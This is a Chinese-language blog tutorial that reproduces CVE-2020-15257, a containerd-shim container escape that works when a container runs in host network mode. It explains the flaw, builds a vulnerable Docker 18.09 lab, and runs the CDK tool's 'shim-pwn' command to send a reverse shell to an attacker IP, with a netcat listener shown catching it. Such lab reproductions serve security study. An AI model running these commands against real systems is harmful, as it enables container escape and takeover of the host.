Docker 逃逸 漏洞复现

首先来解释一下docker逃逸是什么意思,按我的理解就是由于一些docker运行规则中有漏洞还有一些错误配置导致的docker逃逸到真实的物理机,获得物理机权限,实现反弹shell进而控制物理机。

本文参考网址:https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities

以及周老师分享的文档。

CVE-2020-15257-host模式容器逃逸漏洞分析

docker 的内部通信图:

Docker 逃逸 漏洞复现_第1张图片

OCI(开放容器计划)

docker执行拆卸计划时、OCI着手定义容器相关的两个规范:1、镜像规范;2、容器运行时规范。2017年7月1日发布了0.1版本。

受OCI的影响:

  1. docker Daemon不包含容器运行时代码,所有容器运行时代码在单独的OCI兼容层实现,默认情况下就是RUNC

  1. Docker引擎中的Containerd的作用时,保证传给RUNC的镜像是以OCI Bunddle格式。

我的理解:他就是一个规范数据格式的协议和fastcgi差不多

漏洞概述

containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。

Containerd是一个控制runC的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。

在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由于在网络模式为host的情况下,容器与宿主机共享一套Network namespace ,此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问,刚好在默认情况下,容器内部的进程是以root用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。

Docker 逃逸 漏洞复现_第2张图片

漏洞成因:

docker容器以--net=host 启动会暴露containerd-shim 监听的 Unix 域套接字:

Docker 逃逸 漏洞复现_第3张图片

复现前提:

host环境

root@docker-virtual-machine:~# uname -a
Linux docker-virtual-machine 5.4.0-84-generic #94~18.04.1-Ubuntu SMP Thu Aug 26 23:17:46 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
root@docker-virtual-machine:~# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 18.04.6 LTS
Release:        18.04
Codename:       bionic
root@docker-virtual-machine:~# 

安装 18.09 版本的docker:

参考链接:https://bbs.huaweicloud.com/forum/thread-59673-1-1.html

wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.0.tgz
tar -zxvf docker-18.09.0.tgz 
cp -p docker/* /usr/bin/

配置docker.service文件 :

cat >/lib/systemd/system/docker.service <

启动并设置为开机自启

root@docker-virtual-machine:~# systemctl start docker
root@docker-virtual-machine:~# systemctl enable docker

安装ubuntu docker 镜像

root@docker-virtual-machine:/etc/apt# docker pull ubuntu:18.04

以host模式运行docker

root@docker-virtual-machine:/etc/apt# docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              18.04               3941d3b032a8        2 weeks ago         63.1MB
root@docker-virtual-machine:/etc/apt# docker run -it --rm --network=host 3941d3b032a8

--rm 退出容器时删除

下载github上的Exp

下载地址:Release 0.1.6 · cdk-team/CDK · GitHub

解压后我们此实验只需使用cdk_linux_amd64文件,此文件可以将使用有漏洞的docker的主机的权限反射到攻击者的主机上。

将cdk_linux_amd64文件拷贝到docker中的Ubuntu系统中

解压
root@docker-virtual-machine:~# tar -zxvf cdk_v0.1.6_release.tar.gz 
拷贝到docker中
root@docker-virtual-machine:~# docker cp cdk_linux_amd64* 0ac6790c092d:/

运行一下代码

root@docker-virtual-machine:/# ./cdk_linux_amd64 run shim-pwn 192.168.242.140 1337

这里的地址是攻击者的地址

验证一下

┌──(rootkali)-[~]
└─# nc -lvvp 1337
listening on [any] 1337 ...

Docker 逃逸 漏洞复现_第4张图片

你可能感兴趣的:(docker,容器,运维)